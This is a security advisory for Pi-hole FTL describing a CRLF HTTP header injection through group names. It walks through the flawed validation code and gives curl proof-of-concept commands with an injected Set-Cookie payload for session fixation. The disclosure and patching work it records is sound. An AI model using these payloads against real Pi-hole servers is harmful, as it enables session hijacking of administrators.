Skip to content

CRLF Injection / HTTP Header Injection via Group Name

Low
PromoFaux published GHSA-r5vh-5q82-jg7q Jul 6, 2026

Package

Pi-Hole FTL

Affected versions

>=6.0

Patched versions

>=6.7

Description

Summary

Pi-hole FTL does not validate the presence of CRLF characters (\r\n) in a group name before including it in an HTTP response header. An authenticated administrator can create a group whose name contains a CRLF sequence followed by an arbitrary HTTP header. FTL writes that name directly into the pi_hole_extra_headers buffer via snprintf, and CivetWeb interprets it as multiple separate HTTP headers, including all of them in the response sent to the client.

The input validator at list.c:387-410 that rejects newlines and spaces is conditional on !spaces_allowed. For the GRAVITY_GROUPS type, spaces_allowed is true, so the validation block never executes and the CRLF reaches the snprintf at line 509 intact.

An authenticated attacker can inject arbitrary headers into the server's HTTP responses, including Set-Cookie, Location, or Cache-Control.

Details

Step 1 - Validator bypass (list.c:387–410)

When a group is created via POST /api/groups, FTL validates the submitted name through the following block:

// FTL/src/api/list.c:387-410
else if(!spaces_allowed)
{
    cJSON *it = NULL;
    cJSON_ArrayForEach(it, row.items)
    {
        if(strchr(it->valuestring, ' ')  != NULL ||
           strchr(it->valuestring, '\t') != NULL ||
           strchr(it->valuestring, '\n') != NULL)
        {
            return send_json_error(api, 400, "bad_request",
                "Spaces, newlines and tabs are not allowed in domains and URLs",
                it->valuestring);
        }
    }
}

The condition !spaces_allowed is the key. The variable is assigned as:

bool spaces_allowed = (listtype == GRAVITY_GROUPS);

For groups, spaces_allowed is true, so !spaces_allowed is false and the entire validation block is skipped. A group name containing \r\n passes validation without any rejection.

Step 2 - Unsanitized write into the global header buffer (list.c:509)

After inserting the group into the database, FTL builds a Location: header by writing the group name directly into pi_hole_extra_headers without any sanitization:

// FTL/src/api/list.c:509
if(snprintf(pi_hole_extra_headers, sizeof(pi_hole_extra_headers),
            "Location: %s/%s", api->action_path, row->item) >= (int)sizeof(pi_hole_extra_headers))

If row->item is grp_poc\r\nSet-Cookie: sid=ATTACKER; Path=/; HttpOnly, the buffer contains:

Location: /api/groups/grp_poc\r\n
Set-Cookie: sid=ATTACKER; Path=/; HttpOnly\r\n

Step 3 - CivetWeb interprets the buffer as separate HTTP headers (civetweb.c:4229–4232)

// FTL/src/webserver/civetweb/civetweb.c:4229-4232
if (pi_hole_extra_headers[0] != '\0') {
    mg_response_header_add_lines(conn, pi_hole_extra_headers);
    pi_hole_extra_headers[0] = '\0';
}

mg_response_header_add_lines internally calls parse_http_headers, which splits the buffer on \r\n and adds each line as an independent HTTP response header. The client receives both headers as separate, fully formed HTTP response headers.

An authenticated attacker sends the following request:

POST /api/groups HTTP/1.1
Host: pi.hole
sid: <valid_sid>
X-CSRF-TOKEN: <valid_csrf>
Content-Type: application/json

{
  "name": "grp_poc\r\nSet-Cookie: sid=ATTACKER_SID; Path=/; HttpOnly",
  "enabled": true,
  "comment": "poc"
}

The server responds with:

HTTP/1.1 201 Created
Location: /api/groups/grp_poc
Set-Cookie: sid=ATTACKER_SID; Path=/; HttpOnly
Content-Type: application/json

Any browser that processes this response will overwrite the administrator's session cookie with the attacker-controlled value.

PoC

Proof of Concept

The attack requires two steps: first obtain a valid SID and CSRF token via authentication, then inject the malicious group name containing the CRLF sequence.

Step 1 - Authenticate and retrieve SID and CSRF token:

curl -sk -X POST http://PI_HOLE_IP/api/auth \
  -H "Content-Type: application/json" \
  -d '{"password":"ADMIN_PASSWORD","totp":null}'
image

Step 2 - Inject arbitrary headers via CRLF in group name:

curl -sk -D - -X POST http://PI_HOLE_IP/api/groups \
  -H "sid: SID_HERE" \
  -H "X-CSRF-TOKEN: CSRF_HERE" \
  -H "Content-Type: application/json" \
  -d $'{"name":"grp_poc\r\nX-Injected: pwn\r\nSet-Cookie: sid=ATTACKER_SID; Path=/; HttpOnly","enabled":true,"comment":"poc"}'

The $'...' bash syntax is required to expand \r\n as literal CRLF bytes before the request is sent. Without it the backslash sequences would reach the server as plain text and would not be interpreted as header separators.

image

The presence of X-Injected and the attacker-controlled Set-Cookie as independent response headers confirms the injection. Any browser processing this response will overwrite the administrator's session cookie with the attacker-supplied value.

Impact

An authenticated attacker can inject arbitrary HTTP response headers into Pi-hole API responses. The most direct impact is session fixation: by injecting a Set-Cookie: sid=ATTACKER_SID header, the attacker overwrites the administrator's session cookie with a value they control, gaining persistent administrative access to the Pi-hole interface without knowing the administrator's password.

Additional injectable headers extend the attack surface to cache poisoning via Cache-Control and Vary manipulation, and arbitrary redirects via Location header injection.

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N

CVE ID

CVE-2026-65966

Weaknesses

Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')

The product receives data from an HTTP agent/component (e.g., web server, proxy, browser, etc.), but it does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers. Learn more on MITRE.

Credits